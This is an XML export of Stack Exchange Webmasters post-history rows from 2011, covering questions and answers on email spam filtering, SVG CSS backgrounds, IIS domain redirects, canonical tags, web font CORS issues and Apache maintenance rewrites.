  <row Id="46464" PostHistoryTypeId="2" PostId="18991" RevisionGUID="682a2f30-61dc-4129-917a-2903dd6e00f1" CreationDate="2011-08-31T09:12:12.340" UserId="7198" Text="Don't do it. Using only images in email significantly increases the chance that your messages will be flagged as spam. Not only that, but most email clients disable images by default, so your message will appear blank unless recipients take the time to enable images (and they probably won't).&#xD;&#xA;&#xD;&#xA;From MailChimp's ['How Spam Filters Think'](http://kb.mailchimp.com/article/how-spam-filters-think):&#xD;&#xA;&#xD;&#xA;&gt; ...the most common mistakes we see new email marketers make, which&#xD;&#xA;&gt; result in accidental spam filtering: [...] Creating an HTML email that's&#xD;&#xA;&gt; nothing but one big image, with little or no text (since spam filters&#xD;&#xA;&gt; can't read images, they assume you're a spammer that's trying to trick&#xD;&#xA;&gt; 'em).&#xD;&#xA;&#xD;&#xA;And here's more, from ['Top HTML Email Coding Mistakes'](http://kb.mailchimp.com/article/top-html-email-coding-mistakes/):&#xD;&#xA;&#xD;&#xA;&gt; &quot;We've seen lots of people (especially graphic and web designers who&#xD;&#xA;&gt; are new to email design) send HTML emails that are nothing but one&#xD;&#xA;&gt; gigantic graphic. First of all, that's what spammers do. They send a&#xD;&#xA;&gt; giant graphic, hoping to trick spam filters (see, spam filters need to&#xD;&#xA;&gt; read text in order to determine if a message is spam). But the spam&#xD;&#xA;&gt; filters have caught on to this. **Try sending an email that's nothing&#xD;&#xA;&gt; but a graphic, and you're lucky if any of your recipients even open&#xD;&#xA;&gt; it.** Spam filters aside, email programs now turn images off by default.&#xD;&#xA;&gt; That means your recipients have to click a button to &quot;open images&quot; in&#xD;&#xA;&gt; order to view that work of art you made. If you think they'll actually&#xD;&#xA;&gt; take the time, you're deluding yourself.&quot;&#xD;&#xA;&#xD;&#xA;Instead of using a single image, base your email newsletter designs on freely available email design templates that have been tested by professionals instead. I recommend the following two collections:&#xD;&#xA;&#xD;&#xA;- MailChimp's ['HTML email templates that don't break'](http://mailchimp.com/resources/html-email-templates/)&#xD;&#xA;- Campaign Monitor's [free email templates](http://www.campaignmonitor.com/templates/)&#xD;&#xA;&#xD;&#xA;Using these templates as starting points helps you set up new designs quickly with relatively little testing and tweaking required." />
  <row Id="46465" PostHistoryTypeId="25" PostId="18984" RevisionGUID="ec6f7e85-b499-46e5-be84-3e0d5d659458" CreationDate="2011-08-31T09:37:17.340" Comment="http://twitter.com/#!/StackWebmasters/status/108835739374067712" />
  <row Id="46466" PostHistoryTypeId="5" PostId="18987" RevisionGUID="994bafb1-6959-4114-8df3-a0b8065bf39e" CreationDate="2011-08-31T09:50:07.007" UserId="9185" Comment="typo" Text="I experienced (except the few most recent webbrowser) not much of any other webbrowser is capable of displaying an .svg image from withing a .css with the aid of url(). &#xD;&#xA;&#xD;&#xA;Using the embed tag and its pluginspage attribute, there is the possibility to refer a client to a missing plugin:&#xD;&#xA;&#xD;&#xA;    &lt;embed src=&quot;/svg/simple-example-1.jsp&quot;&#xD;&#xA;           width=&quot;300&quot; height=&quot;220&quot;&#xD;&#xA;           type=&quot;image/svg+xml&quot;&#xD;&#xA;           pluginspage=&quot;http://www.adobe.com/svg/viewer/install/&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Since the adobe plugin is outdated, one can also refer to the corel svg viewer. &#xD;&#xA;&#xD;&#xA;What is the best strategy to deal with old browsers ? Is there a mechanism to refer them to a plugin if the .svg image is included from within a .css ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Ref:&#xD;&#xA;http://tutorials.jenkov.com/svg/displaying-svg-in-web-browsers.html" />
  <row Id="46467" PostHistoryTypeId="2" PostId="18992" RevisionGUID="31a20c41-67ad-438b-a1d9-3960ab78e342" CreationDate="2011-08-31T10:46:22.803" UserId="9799" Text="It's likely that those counts won't be retrievable, except maybe if you change the site structure back. (Don't quote me on that!)&#xD;&#xA;&#xD;&#xA;Take a look at [this post](http://blog.hubspot.com/blog/tabid/6307/bid/22166/SEO-301-Redirects-Don-t-Pass-Existing-Social-Shares.aspx) &lt;http://blog.hubspot.com/blog/tabid/6307/bid/22166/SEO-301-Redirects-Don-t-Pass-Existing-Social-Shares.aspx&gt; on their experiences. &#xD;&#xA;&#xD;&#xA;I have had issues with several social &quot;counting&quot; networks losing those counts when adjusting things, only to lose my valuable &quot;manna&quot; forever. " />
  <row Id="46468" PostHistoryTypeId="17" PostId="18993" RevisionGUID="65dcf246-e72a-49b7-9d8e-40bb2bdd2690" CreationDate="2011-08-31T11:32:46.490" UserId="-1" Comment="from http://stackoverflow.com/questions/7249631/site-template-images-borders-lines-curves" Text="" />
  <row Id="46469" PostHistoryTypeId="2" PostId="18993" RevisionGUID="9172f6a4-8c81-4e06-ae7b-e9c2d47bf8b2" CreationDate="2011-08-30T20:50:12.147" UserDisplayName="Brian" Text="Most of the sites posted here and elsewhere mentioning sites with free full-sized backgrounds.  I was curious if there is a site that has free graphics for creating a template, with images like corner radiuses, gradient borders, and other smaller graphics to help put together the site template.  That's something I'm in need of, and was wondering if its around anywhere.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="46470" PostHistoryTypeId="1" PostId="18993" RevisionGUID="9172f6a4-8c81-4e06-ae7b-e9c2d47bf8b2" CreationDate="2011-08-30T20:50:12.147" UserDisplayName="Brian" Text="Site Template Images - Borders, Lines, Curves" />
  <row Id="46471" PostHistoryTypeId="3" PostId="18993" RevisionGUID="9172f6a4-8c81-4e06-ae7b-e9c2d47bf8b2" CreationDate="2011-08-30T20:50:12.147" UserDisplayName="Brian" Text="&lt;image&gt;&lt;graphics&gt;&lt;web&gt;" />
  <row Id="46473" PostHistoryTypeId="17" PostId="18994" RevisionGUID="5a68b24e-a651-40e5-bdb6-e841a35babce" CreationDate="2011-08-31T12:06:17.667" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/18562/amazon-ec2-usage-reports-usagevalue" Text="" />
  <row Id="46474" PostHistoryTypeId="2" PostId="18994" RevisionGUID="cb433a33-cd16-444f-8e64-d6989f22c980" CreationDate="2011-08-31T08:45:57.883" UserDisplayName="Stan" Text="After downloading the usage reports, how can I understand those numbers? There's no units for the numbers at all. Not to mention about the usage value - $ conversion rate. Searching online couldn't really find a working calculator or conversion tool. Can the community advise how to calculate my estimate bill from usage report?" />
  <row Id="46475" PostHistoryTypeId="1" PostId="18994" RevisionGUID="cb433a33-cd16-444f-8e64-d6989f22c980" CreationDate="2011-08-31T08:45:57.883" UserDisplayName="Stan" Text="Amazon EC2 Usage Reports UsageValue" />
  <row Id="46476" PostHistoryTypeId="3" PostId="18994" RevisionGUID="cb433a33-cd16-444f-8e64-d6989f22c980" CreationDate="2011-08-31T08:45:57.883" UserDisplayName="Stan" Text="&lt;amazon-ec2&gt;" />
  <row Id="46477" PostHistoryTypeId="17" PostId="18995" RevisionGUID="db48d6b9-35e5-4e91-a970-f75a4bedfac0" CreationDate="2011-08-31T12:15:34.620" UserId="-1" Comment="from http://stackoverflow.com/questions/7253418/how-to-setup-site-for-no-www" Text="" />
  <row Id="46478" PostHistoryTypeId="17" PostId="18996" RevisionGUID="fb5742bd-bd3f-4ec7-ba54-058c2af25c4a" CreationDate="2011-08-31T12:15:34.620" UserId="-1" Comment="from http://stackoverflow.com/questions/7253418/how-to-setup-site-for-no-www" Text="" />
  <row Id="46479" PostHistoryTypeId="2" PostId="18996" RevisionGUID="a28a5280-65c6-40d2-9ac9-0f4ede1a3962" CreationDate="2011-08-31T07:20:53.120" UserId="9997" UserDisplayName="Anatoliy" Text="This topic can help you&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/4180902/301-redirect-or-bind-more-domain-names-in-iis7-win2008&#xD;&#xA;&#xD;&#xA;I prefer to use additional binding.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="46480" PostHistoryTypeId="2" PostId="18995" RevisionGUID="731be583-3e6c-4658-9430-17443af047b4" CreationDate="2011-08-31T06:38:28.400" UserDisplayName="Dejan.S" Text="the company im working at handle the hosting our self. we got www.domain.com up now and we want to make the domain.com to work as well. we use iis7. i seen some articles and found one with url rewrite setting that can be added to iis7. my question is how whats the best way to go? we dont want to cut any corners we want to do it proper.&#xD;&#xA;&#xD;&#xA;Much appriciated for answers.&#xD;&#xA;this is the article i mensioned above http://weblogs.asp.net/owscott/archive/2009/11/27/iis-url-rewrite-rewriting-non-www-to-www.aspx" />
  <row Id="46481" PostHistoryTypeId="1" PostId="18995" RevisionGUID="731be583-3e6c-4658-9430-17443af047b4" CreationDate="2011-08-31T06:38:28.400" UserDisplayName="Dejan.S" Text="how to setup site for no www" />
  <row Id="46482" PostHistoryTypeId="3" PostId="18995" RevisionGUID="731be583-3e6c-4658-9430-17443af047b4" CreationDate="2011-08-31T06:38:28.400" UserDisplayName="Dejan.S" Text="&lt;iis7&gt;&lt;dns&gt;" />
  <row Id="46483" PostHistoryTypeId="25" PostId="18987" RevisionGUID="2845c6d0-9cdb-4295-867d-6f0af8c23996" CreationDate="2011-08-31T12:37:18.420" Comment="http://twitter.com/#!/StackWebmasters/status/108881041560834049" />
  <row Id="46484" PostHistoryTypeId="2" PostId="18997" RevisionGUID="71aeb409-4842-4cb3-84a9-f0396e11d129" CreationDate="2011-08-31T12:40:35.297" UserId="9970" Text="Google has a bot... the googlebot in which it crawles a webpage ang like a bug scatters itself and explores link within a website and copies it to it's database. so if you ask how they do it, it is because the whole website is already in there storage devices in their company. :))" />
  <row Id="46485" PostHistoryTypeId="5" PostId="18987" RevisionGUID="61000671-2efd-4499-8179-b4c1b84ba93a" CreationDate="2011-08-31T12:57:06.990" UserId="9185" Comment="more info" Text="I experienced (except the few most recent webbrowser) not much of any other webbrowser is capable of displaying an .svg image from withing a .css with the aid of url(). &#xD;&#xA;&#xD;&#xA;Using the embed tag and its pluginspage attribute, there is the possibility to refer a client to a missing plugin:&#xD;&#xA;&#xD;&#xA;    &lt;embed src=&quot;/svg/simple-example-1.jsp&quot;&#xD;&#xA;           width=&quot;300&quot; height=&quot;220&quot;&#xD;&#xA;           type=&quot;image/svg+xml&quot;&#xD;&#xA;           pluginspage=&quot;http://www.adobe.com/svg/viewer/install/&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Since the adobe plugin is outdated, one can also refer to the corel svg viewer. &#xD;&#xA;&#xD;&#xA;What is the best strategy to deal with old browsers ? Is there a mechanism to refer them to a plugin if the .svg image is included from within a .css ?&#xD;&#xA;&#xD;&#xA;edit:&#xD;&#xA;&#xD;&#xA;    #header {&#xD;&#xA;     width: 760px;&#xD;&#xA;     height: 288px;&#xD;&#xA;     margin: 0 auto;&#xD;&#xA;     background: url(images/background.svg) no-repeat right top;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;How to refer browsers, not able to handle the code above, at least to third party aid, e.g. a plugin ? (Or maybe a .png - but actually, that is not what I want.)&#xD;&#xA;&#xD;&#xA;What other possibilities are there to deal with browsers that can't handle svg in stylesheet ? &#xD;&#xA;&#xD;&#xA;Iceweasel is able to display `background.svg` **directly** but can't display the image if included by style - so apprently it is able to handle svg, but not from within a stylesheet ?&#xD;&#xA;&#xD;&#xA;With browsershots I realized, most browsers were not displaying the image in the stylesheet because of it being in Scalable Vector Graphics AND in the stylesheet. So the question is, what is the best strategy here to reach as much viewers as possible with the svg and only use the raster images in emergency ?&#xD;&#xA;&#xD;&#xA;Ref:&#xD;&#xA;http://tutorials.jenkov.com/svg/displaying-svg-in-web-browsers.html&#xD;&#xA;" />
  <row Id="46486" PostHistoryTypeId="2" PostId="18998" RevisionGUID="0e7335ab-39a2-4214-b3d9-aee6a9ab598a" CreationDate="2011-08-31T13:15:49.340" UserId="9970" Text="what you can do is search for image websites that offer free download of their graphic content, i suggest photobucket and other vector graphic websites because they offer jaw dropping images that may help you build you website. :))" />
  <row Id="46487" PostHistoryTypeId="2" PostId="18999" RevisionGUID="60cb9d19-f948-42ff-bd69-9e37d6035cbc" CreationDate="2011-08-31T13:21:27.863" UserId="9970" Text="Facebook is one of the greatest bridge that can get you app discovered. It's also the best way to practice the &quot;pass the word&quot; approach that you're talking about because you know who you will be talking to, your friends which will also recommend the app and then the dominos will continue to tip down... :))" />
  <row Id="46488" PostHistoryTypeId="2" PostId="19000" RevisionGUID="610e03ac-2b75-402a-b2fb-1042e66f2177" CreationDate="2011-08-31T13:27:47.750" UserId="8286" Text="Backgrounds are meant to be backgrounds. They're not meant to support interaction.&#xD;&#xA;&#xD;&#xA;Your options would seem to be:&#xD;&#xA;&#xD;&#xA;$1. Do it in HTML rather than CSS.&#xD;&#xA;&#xD;&#xA;$2. Have your server return different content according to the User-Agent string.&#xD;&#xA;&#xD;&#xA;$3. If your SVG is rectangular and opaque, you can do fallbacks as&#xD;&#xA;   &lt;pre&gt;    background-image: url(fallback.png);&#xD;&#xA;    background-image: none, url(real.svg), url(fallback.png);&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;$4. Forget about Firefox pre-v4 and IE pre-v9. ([ref](http://caniuse.com/#search=svg))&#xD;&#xA;&#xD;&#xA;$5. Use Modernizr and use inlinesvg as a proxy for support for SVG backgrounds.&#xD;&#xA;&#xD;&#xA;$6. There may be some approach using JavaScript to provide a more complex fallback.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Edit: I apologise for the $s before the numbers. The preview is thoroughly buggy, and it's the best way I can find to avoid having two sets numbered 1 to 3." />
  <row Id="46489" PostHistoryTypeId="2" PostId="19001" RevisionGUID="a770b7ef-5042-4d75-bbd6-fc8e0e000fad" CreationDate="2011-08-31T14:01:45.910" UserId="9970" Text="I this you could try downloading XAMPP or WAMP. They're both PHP testing servers and supports also PHPMyAdmin which would help you managing your database. :))" />
  <row Id="46490" PostHistoryTypeId="2" PostId="19002" RevisionGUID="bff3cf4e-8aa1-408e-a89d-9ada1e35c191" CreationDate="2011-08-31T14:09:26.910" UserId="1253" Text="[HeidiSQL][1] now offers support for MsSQL&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.heidisql.com/" />
  <row Id="46491" PostHistoryTypeId="5" PostId="19000" RevisionGUID="962033a0-e47d-42f4-a0c3-1686f54c6e41" CreationDate="2011-08-31T14:13:07.257" UserId="8354" Comment="improved formatting" Text="Backgrounds are meant to be backgrounds. They're not meant to support interaction.&#xD;&#xA;&#xD;&#xA;Your options would seem to be:&#xD;&#xA;&#xD;&#xA;1\. Do it in HTML rather than CSS.&#xD;&#xA;&#xD;&#xA;2\. Have your server return different content according to the User-Agent string.&#xD;&#xA;&#xD;&#xA;3\. If your SVG is rectangular and opaque, you can do fallbacks as&#xD;&#xA;&#xD;&#xA;    background-image: url(fallback.png);&#xD;&#xA;    background-image: none, url(real.svg), url(fallback.png);&#xD;&#xA;&#xD;&#xA;4\. Forget about Firefox pre-v4 and IE pre-v9. ([ref](http://caniuse.com/#search=svg))&#xD;&#xA;&#xD;&#xA;5\. Use Modernizr and use inlinesvg as a proxy for support for SVG backgrounds.&#xD;&#xA;&#xD;&#xA;6\. There may be some approach using JavaScript to provide a more complex fallback.&#xD;&#xA;" />
  <row Id="46492" PostHistoryTypeId="17" PostId="19003" RevisionGUID="cb563367-bded-47a4-a006-42d8abb763c0" CreationDate="2011-08-31T14:59:31.480" UserId="-1" Comment="from http://stackoverflow.com/questions/7254434/canonical-link-rel-tag-pointing-to-the-same-page" Text="" />
  <row Id="46493" PostHistoryTypeId="17" PostId="19004" RevisionGUID="b873cc37-bd0a-45ec-a6ac-2f55bfca6fd9" CreationDate="2011-08-31T14:59:31.480" UserId="-1" Comment="from http://stackoverflow.com/questions/7254434/canonical-link-rel-tag-pointing-to-the-same-page" Text="" />
  <row Id="46494" PostHistoryTypeId="2" PostId="19004" RevisionGUID="bedc76ad-c6d2-4fd0-98c1-a073a7a0c290" CreationDate="2011-08-31T11:59:52.223" UserId="1253" Text="You can have a `&lt;link rel=&quot;canonical&quot;&gt;` on the original page. There's no harm in doing so. It's just redundant but that's not a problem.&#xD;&#xA;&#xD;&#xA;`&lt;link rel=&quot;canonical&quot;&gt;` belongs in the `&lt;head&gt;` section only. If it is outside of the `&lt;head&gt;` it is invalid SEO and may not be honored." />
  <row Id="46495" PostHistoryTypeId="2" PostId="19003" RevisionGUID="c33256a6-39fb-4f02-aa22-2eca49fd9c42" CreationDate="2011-08-31T08:30:34.607" UserDisplayName="Jose3d" Text="Im implementing the canonical tag in my page to avoid be penalized with duplicate content flag by search engines. My doubt are the following:&#xD;&#xA;&#xD;&#xA;* If i have a page COPY with the canonical tag pointing to ORIGINAL, and in this ORIGINAL page i have the canonical tag pointing to ORIGINAL again, what are the consecuences? The think is that for me is more easy to generate the tag in all pages, and not only in the copies.&#xD;&#xA;&#xD;&#xA;* Can i put the `&lt;link rel=&quot;canonical&quot; href=&quot;ORIGINAL&quot; /&gt;` in anyplace, or should be in the `&lt;head&gt;` tag.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="46496" PostHistoryTypeId="1" PostId="19003" RevisionGUID="c33256a6-39fb-4f02-aa22-2eca49fd9c42" CreationDate="2011-08-31T08:30:34.607" UserDisplayName="Jose3d" Text="Canonical link rel tag pointing to the same page" />
  <row Id="46497" PostHistoryTypeId="3" PostId="19003" RevisionGUID="c33256a6-39fb-4f02-aa22-2eca49fd9c42" CreationDate="2011-08-31T08:30:34.607" UserDisplayName="Jose3d" Text="&lt;seo&gt;" />
  <row Id="46498" PostHistoryTypeId="2" PostId="19005" RevisionGUID="cfbb8b91-671b-463f-86c8-732e1ee8382d" CreationDate="2011-08-31T15:30:40.587" UserId="9123" Text="The only thing that comes to my mind is this: Akamai is the largest player. Period. Limelight and others seem to do a good job in first world countries, but if you are specifically targeting developing countries, you may be out of luck with the &quot;smaller than Akamai&quot; players. In China, India, Pakistan, South Africa, etc. Akamai outperformed Limelight in my scenario by lenghts." />
  <row Id="46499" PostHistoryTypeId="25" PostId="18990" RevisionGUID="f892cd74-5e70-4f7c-9ad9-b482fd94bfa2" CreationDate="2011-08-31T15:37:18.610" Comment="http://twitter.com/#!/StackWebmasters/status/108926344452247552" />
  <row Id="46501" PostHistoryTypeId="5" PostId="19000" RevisionGUID="0d02f03f-54c0-4f58-ac57-e58815e11750" CreationDate="2011-08-31T15:57:54.510" UserId="8286" Comment="added 102 characters in body" Text="Backgrounds are meant to be backgrounds. They're not meant to support interaction.&#xD;&#xA;&#xD;&#xA;Your options would seem to be:&#xD;&#xA;&#xD;&#xA;1\. Do it in HTML rather than CSS.&#xD;&#xA;&#xD;&#xA;2\. Have your server return different content according to the User-Agent string.&#xD;&#xA;&#xD;&#xA;3\. If your SVG is rectangular and opaque, you can do fallbacks as&#xD;&#xA;&#xD;&#xA;    background-image: url(fallback.png);&#xD;&#xA;    background-image: none, url(real.svg), url(fallback.png);&#xD;&#xA;&#xD;&#xA;4\. Forget about Firefox pre-v4 and IE pre-v9. ([ref](http://caniuse.com/#search=svg))&#xD;&#xA;&#xD;&#xA;5\. Use Modernizr and use inlinesvg as a proxy for support for SVG backgrounds. (Note: this doesn't require two versions of the site: just a JS dependency and an extra line of CSS).&#xD;&#xA;&#xD;&#xA;6\. There may be some approach using JavaScript to provide a more complex fallback.&#xD;&#xA;" />
  <row Id="46502" PostHistoryTypeId="2" PostId="19006" RevisionGUID="e712e201-5a41-4065-a0d0-cac21c9d6f23" CreationDate="2011-08-31T16:10:39.223" UserId="7964" Text="I'm about to create several landing pages. I'm trying to find methods or means to produce the highest conversion rate possible.&#xD;&#xA;&#xD;&#xA;What could someone do to increase ones conversion rate for a landing page?&#xD;&#xA;&#xD;&#xA;I'm looking for an answer that has experience, references, or metrics to back up their claim. I know a lot of this is an art. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="46503" PostHistoryTypeId="1" PostId="19006" RevisionGUID="e712e201-5a41-4065-a0d0-cac21c9d6f23" CreationDate="2011-08-31T16:10:39.223" UserId="7964" Text="What does one look for to increase conversion rate of landing pages?" />
  <row Id="46504" PostHistoryTypeId="3" PostId="19006" RevisionGUID="e712e201-5a41-4065-a0d0-cac21c9d6f23" CreationDate="2011-08-31T16:10:39.223" UserId="7964" Text="&lt;landing-page&gt;" />
  <row Id="46505" PostHistoryTypeId="5" PostId="4856" RevisionGUID="690872ee-94ae-453a-ab26-709b301eea4d" CreationDate="2011-08-31T16:19:33.913" UserId="7964" Comment="Improve Readability by formating" Text="&gt; Is there really any benefits of having these external landing pages to the site?&#xD;&#xA;&#xD;&#xA;If you're building out unique content and building links to the external sites so they in turn become authoritative links that only you're main site has, then there likely is a benefit. &#xD;&#xA;&#xD;&#xA;&gt; Would it be more valuable to move the landing page content to inside of the site?&#xD;&#xA;&#xD;&#xA;This depends on your industry if you are splitting your links across multiple domains then it would likely be better to have all the links pointing to the main site. If you are in and industry where the only links are a handful of directories (or similar) and you can build these to all the sites, then funnel the aggregate value back to your main site then they could be a solid competitive advantage over your competitors.&#xD;&#xA;&#xD;&#xA;&gt; Finally, is there any way to truly measure the value these sites are adding through increased Page Rank on our main site?&#xD;&#xA;&#xD;&#xA;There is no real way to tell how much impact these are having on your rankings because there are too many variables, but a slightly un-scientific method would be to remove all links from one of the sites to your main site for a month or so and see how much your organic traffic drops. If it doesn't drop at all you can remove another one and so on, if it does drop you can look at how much your revenue dropped and then determine it there is a reasonable ROI based on the cost of maintaining the site. (Again there could be a lot of reasons your site drops so depending on the size of the change it may not be a valid test).&#xD;&#xA;&#xD;&#xA;Here's some additional data from 2009 that suggests the number of unique linking domains is a better indicator of ranking potential then the sheer number of links:&#xD;&#xA;http://www.seomoz.org/blog/lessons-learned-building-an-index-of-the-www" />
  <row Id="46506" PostHistoryTypeId="24" PostId="4856" RevisionGUID="690872ee-94ae-453a-ab26-709b301eea4d" CreationDate="2011-08-31T16:19:33.913" Comment="Proposed by 7964 approved by 1253 edit id of 520" />
  <row Id="46508" PostHistoryTypeId="2" PostId="19008" RevisionGUID="706eef21-0829-45c9-9548-72c01fd92060" CreationDate="2011-08-31T16:35:40.560" UserId="9974" Text="I've noticed that at work, Google Web Fonts do not appear on IE9 and Firefox 6 (Windows and Mac OS). All the files are loaded, but the fonts are never rendered. This works properly from home on those same browsers. Chrome doesn't exhibit this problem. Additionally, sites using FontSquirrel CSS (and hosting the font files themselves) work fine in IE9 and Firefox 6. None of these problems appear for me at home. Screenshot: http://cl.ly/9lQu&#xD;&#xA;&#xD;&#xA;I've read that IE9 and Firefox will not render web fonts from outside sites if they're not served with the proper Access-Control-Allow-Origin settings in the HTTP headers - they treat it similarly to how they'd treat a cross-site-scripting issue. I don't see access-control-allow-origin in the response headers. Screenshot: http://cl.ly/9luS&#xD;&#xA;&#xD;&#xA;I know Google should be taking care of this, but is it possible that something's modifying these headers by the time they get to me? Are folks aware of any instances where ISPs or firewalls modify these headers? Is there a workaround?" />
  <row Id="46509" PostHistoryTypeId="1" PostId="19008" RevisionGUID="706eef21-0829-45c9-9548-72c01fd92060" CreationDate="2011-08-31T16:35:40.560" UserId="9974" Text="Why would the Google Font API fail on a modern browser?" />
  <row Id="46510" PostHistoryTypeId="3" PostId="19008" RevisionGUID="706eef21-0829-45c9-9548-72c01fd92060" CreationDate="2011-08-31T16:35:40.560" UserId="9974" Text="&lt;fonts&gt;&lt;http-headers&gt;" />
  <row Id="46512" PostHistoryTypeId="5" PostId="18910" RevisionGUID="d373bee9-5c92-432d-8c20-960803a7a289" CreationDate="2011-08-31T17:37:52.773" UserId="6850" Comment="added 113 characters in body" Text="I'm about to launch a site on a live server, after developing it with xampp on localhost. I first want to test the site before i make it live. How do i setup this up so I have it in a subdomain (i.e. test.livesite.com)? Is it just set it up on the server and only add the cname dns setting? Or is there a better way?&#xD;&#xA;&#xD;&#xA;All i am trying to do is add my site to the server, so i can edit it and look at it before I set it as live. &#xD;&#xA;" />
  <row Id="46513" PostHistoryTypeId="5" PostId="18987" RevisionGUID="31420c50-dead-4f34-bee2-f5a42904e134" CreationDate="2011-08-31T17:51:05.590" UserId="9185" Comment="added 696 characters in body; edited title" Text="Edit:&#xD;&#xA;&#xD;&#xA;How can I detect in php if the client browser is capable of displaying SVG as CSS background ? &#xD;&#xA;&#xD;&#xA;I renamed my stylesheet from .css to .css.php. So I can include at the beginning:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    header(&quot;content-type: text/css&quot;);&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;and somewhere in the middle&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;     if (stristr($_SERVER[&quot;HTTP_ACCEPT&quot;], &quot;image/xml+svg&quot;))&#xD;&#xA;     {&#xD;&#xA;     }&#xD;&#xA;     else&#xD;&#xA;     {&#xD;&#xA;     }&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;Unfortunately, my firefox client does not send out any `image/xml+svg` string to the server. So, how can I detect if a browser is capable of displaying SVG as CSS background in php ?&#xD;&#xA;&#xD;&#xA;Ref: http://www.gabis-bloghaeuschen.de/2006/03/27/php-code-in-der-css-datei/&#xD;&#xA;&#xD;&#xA;End Edit.&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;&#xD;&#xA;I experienced (except the few most recent webbrowser) not much of any other webbrowser is capable of displaying an .svg image from withing a .css with the aid of url(). &#xD;&#xA;&#xD;&#xA;Using the embed tag and its pluginspage attribute, there is the possibility to refer a client to a missing plugin:&#xD;&#xA;&#xD;&#xA;    &lt;embed src=&quot;/svg/simple-example-1.jsp&quot;&#xD;&#xA;           width=&quot;300&quot; height=&quot;220&quot;&#xD;&#xA;           type=&quot;image/svg+xml&quot;&#xD;&#xA;           pluginspage=&quot;http://www.adobe.com/svg/viewer/install/&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Since the adobe plugin is outdated, one can also refer to the corel svg viewer. &#xD;&#xA;&#xD;&#xA;What is the best strategy to deal with old browsers ? Is there a mechanism to refer them to a plugin if the .svg image is included from within a .css ?&#xD;&#xA;&#xD;&#xA;edit:&#xD;&#xA;&#xD;&#xA;    #header {&#xD;&#xA;     width: 760px;&#xD;&#xA;     height: 288px;&#xD;&#xA;     margin: 0 auto;&#xD;&#xA;     background: url(images/background.svg) no-repeat right top;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;How to refer browsers, not able to handle the code above, at least to third party aid, e.g. a plugin ? (Or maybe a .png - but actually, that is not what I want.)&#xD;&#xA;&#xD;&#xA;What other possibilities are there to deal with browsers that can't handle svg in stylesheet ? &#xD;&#xA;&#xD;&#xA;Iceweasel is able to display `background.svg` **directly** but can't display the image if included by style - so apprently it is able to handle svg, but not from within a stylesheet ?&#xD;&#xA;&#xD;&#xA;With browsershots I realized, most browsers were not displaying the image in the stylesheet because of it being in Scalable Vector Graphics AND in the stylesheet. So the question is, what is the best strategy here to reach as much viewers as possible with the svg and only use the raster images in emergency ?&#xD;&#xA;&#xD;&#xA;Ref:&#xD;&#xA;http://tutorials.jenkov.com/svg/displaying-svg-in-web-browsers.html&#xD;&#xA;" />
  <row Id="46514" PostHistoryTypeId="4" PostId="18987" RevisionGUID="31420c50-dead-4f34-bee2-f5a42904e134" CreationDate="2011-08-31T17:51:05.590" UserId="9185" Comment="added 696 characters in body; edited title" Text="SVG in CSS backgrounds" />
  <row Id="46515" PostHistoryTypeId="2" PostId="19009" RevisionGUID="0ca0183f-3e3f-49dd-8ab2-a935acd29ecf" CreationDate="2011-08-31T18:23:53.243" UserId="9975" Text="To add to covener's analysis:&#xD;&#xA;&#xD;&#xA;You can use environment variables when using rewrites, but as you mention, SetEnv doesn't retain that info (to my knowledge).  I've had good success using forced variable injections in my start up scripts.  For example, when calling the apachectl or httpd binaries, you can do something like:&#xD;&#xA;&#xD;&#xA;In your shell script do (i use in case syntax, and add an option for startMaint):&#xD;&#xA;&#xD;&#xA;MAINTENANCE=TRUE ${APACHE_ROOT}/bin/apachectl -d ${APACHE_ROOT} -f ${APACHE_CONF} -k start&#xD;&#xA;&#xD;&#xA;RewriteCond %{ENV:MAINTENANCE} ^TRUE$&#xD;&#xA;&#xD;&#xA;RewriteCond %{REQUEST_FILENAME} !\.(gif|jpg|png|ico)$ [NC]&#xD;&#xA;&#xD;&#xA;RewriteCond %{REQUEST_URI} ^/(status|uri1|uri2|uri3|etc).*$ [NC]&#xD;&#xA;&#xD;&#xA;RewriteCond %{REQUEST_URI} !^/static/siteMaintenance.html$ [NC]&#xD;&#xA;RewriteRule .* /static/siteMaintenance.html${pages:%1:NULL}? [R=302,L]&#xD;&#xA;" />
  <row Id="46516" PostHistoryTypeId="2" PostId="19010" RevisionGUID="7dde6253-024a-4f16-ba3e-ca161a7b74f8" CreationDate="2011-08-31T18:33:27.257" UserId="9976" Text="I have a client that i have completed a design from scratch and wordpress theme, the project is an internet TV website, although im falling short on finding a Decent video gallery plugin that meets basic needs, I designed the site and after researching found mpora, which had the exact method i was trying to accomplish, can someone point me in the direction of a plugin or a method of theming that works the same...&#xD;&#xA;&#xD;&#xA;http://video.mpora.com/snowboarding/&#xD;&#xA;&#xD;&#xA;It would be superb if i could embed a video into a normal post that can be categorized and he can add additional information like a normal blog post and on the homepage have the thumbnail displayed in a gallery, when clicked takes to the full post. plus be able to have all other blog posts under a /blog&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="46517" PostHistoryTypeId="1" PostId="19010" RevisionGUID="7dde6253-024a-4f16-ba3e-ca161a7b74f8" CreationDate="2011-08-31T18:33:27.257" UserId="9976" Text="Need a wordpress video gallery plugin that works the like mpora.com" />
  <row Id="46518" PostHistoryTypeId="3" PostId="19010" RevisionGUID="7dde6253-024a-4f16-ba3e-ca161a7b74f8" CreationDate="2011-08-31T18:33:27.257" UserId="9976" Text="&lt;wordpress&gt;&lt;video&gt;&lt;plugin&gt;" />
